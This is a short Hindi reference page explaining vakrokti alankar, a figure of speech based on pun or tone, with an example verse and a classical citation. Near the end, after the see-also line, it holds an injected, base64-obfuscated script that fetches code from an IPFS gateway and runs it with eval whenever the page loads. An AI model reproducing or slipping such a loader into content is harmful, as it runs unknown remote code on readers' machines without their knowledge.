वक्रोक्ति अलंकार
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किसी एक अभिप्राय वाले कहे हुए वाक्य का, किसी अन्य द्वारा श्लेष अथवा काकु से, अन्य अर्थ लिए जाने को वक्रोक्ति अलंकार कहते हैं।[१]
- वक्रोक्ति अलंकार दो प्रकार का होता है-
- श्लेष वक्रोक्ति
- काकु बक्रोक्ति
- श्लेष वक्रोक्ति में किसी शब्द के अनेक अर्थ होने के कारण वक्ता के अभिप्रेत अर्थ से अन्य अर्थ ग्रहण किया जाता है।
- काकु वक्रोक्ति में कंठ ध्वनि अर्थात् बोलने वाले के लहजे में भेद होने के कारण दूसरा अर्थ कल्पित किया जाता है।
- वक्रोक्ति अलंकार का नियोजन एक कष्टसाध्य कर्म है, जिसके लिए प्रयास करना अनिवार्य है। भावुक कवियों ने इसका प्रयोग कम ही किया है।
- उदाहरण-
को तुम हौ इत आये कहां घनस्याम हौ तौ कितहूं बरसो ।
चितचोर कहावत हैं हम तौ तहां जाहुं जहां धन है सरसों ।।
इन्हें भी देखें: अलंकार, रस एवं छन्द<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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टीका टिप्पणी और संदर्भ
- ↑ यदुक्तामन्यथावाक्यमन्यथा न्येन योज्यते। श्लेषेण काक्वा वा ज्ञैया सा वक्रोक्तिरतथा द्विधा॥ - काव्यप्रकाश 9।78
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